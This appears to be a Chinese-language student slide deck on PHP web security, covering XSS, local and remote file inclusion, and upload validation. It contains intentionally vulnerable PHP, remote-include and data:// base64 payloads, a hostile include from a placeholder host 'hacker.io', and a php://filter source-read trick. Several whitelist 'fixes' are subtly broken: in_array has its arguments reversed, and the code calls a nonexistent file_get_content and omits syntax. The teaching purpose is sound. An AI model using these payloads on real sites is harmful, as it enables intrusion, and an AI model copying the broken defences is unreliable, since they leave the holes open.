chivincent
就只是個宅正太(?)
The Another Free
呵呵
畢竟有學長姐來捧場(?)
網頁前端的美麗誤會
一般使用者:淦,學校系統又出問題
網管:窩糙,又一群小王八蛋
駭客資安研究人員:喵的,這下GG惹
讓使用者可控制執行出來的指令
<html>
<head>
<!-- Bra Bra Bra -->
</head>
<body>
<?php if(isset($_POST['name'])) echo $_POST['name']; ?>
<form method="post">
<input type="text" name="name">
<button type="submit" value="送出"/>
</form>
</body>
</html>
漏洞發生於個人資料設定的部份
剩下的,就是你們年輕人的 故事了
我絕對不會說這是某個學校的網管說的
畢竟又快又明顯
還能讓網管沒面子
一舉多得
http://ppt.cc/KiFSq
某國立大學
某大同網路大學
不蓋你,前陣子某間學校有這樣防範 XSS
同間學校,同種方式,同樣很蠢(?)
為了保護當事人
我們上了馬賽克
<?php
$str = $_GET['name'];
echo $str; // Danger
echo htmlentities($str); // Safe
不僅會處理 html tag ,還會處理編碼
在 PHP 中被視為真正的 XSS 解決方案
<html>
<head>
<!-- Bra Bra Bra -->
</head>
<body>
<header>
<?php include('header.php'); ?>
</header>
<section class="content">
<?php include('main.php'); ?>
</section>
<footer>
<?php include('footer.php'); ?>
</footer>
</body>
</html>
無論是自己開發,或是套用框架
include 根本必備良藥
至於良藥變毒藥,又是另外一個故事了
<html>
<head>
<!-- Bra Bra Bra -->
</head>
<body>
<header>
<?php include 'header.php'; ?>
</header>
<section id="content">
<?php
if(isset($_GET['page']) && file_exists($_GET['page']))
include $_GET['page'];
else
include 'index.php';
?>
</section>
<footer>
<?php include 'footer.php'; ?>
</footer>
</body>
</html>
這樣就能執行我們想要的程式哦 <3
<?php
include 'http://www.hacker.io/hacked.php';
這樣也能執行我們想要的程式哦 <3
<?php
include 'data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=';
// echo "PD9waHAgcGhwaW5mbygpPz4=" | base64 -d
// <?php phpinfo() ?>
通常只有在舊版設定才會出現
順帶一提,這個設定叫做
allow_url_include
<?php
include 'php://filter/convert.base64-encode/resource=index.php';
只能看,不能執行
但是通常會藉此找出更多漏洞
<?php
$whiteList = ['index.php', 'info.php', 'about.php'];
?>
<html>
<head>
<!-- Bra Bra Bra -->
</head>
<body>
<header>
<?php include('header.php'); ?>
</header>
<section id="contents">
<?php
if(in_array($whiteList, $_GET['page']))
include $_GET['page'];
else
include 'index.php';
?>
</body>
</html>
可惜要有 allow_url_include
其實應該算是用 XSS 達成 CSRF
<?php
$whiteList = ['jpg', 'png', 'jpeg', 'gif'];
if( in_array($whiteList, $filename) )
upload_file($filename);
function ($filename){
// Upload Action
}
<?php
$whiteList = [IMAGETYPE_JPEG, IMAGETYPE_GIF, IMAGETYPE_PNG]
if( in_array($whiteList, exif_imagetype($uploadedFile)) )
// Upload Action
<?php
header('Content-Type: image/jpeg');
echo file_get_content("../upload/$_GET['image']");
By chivincent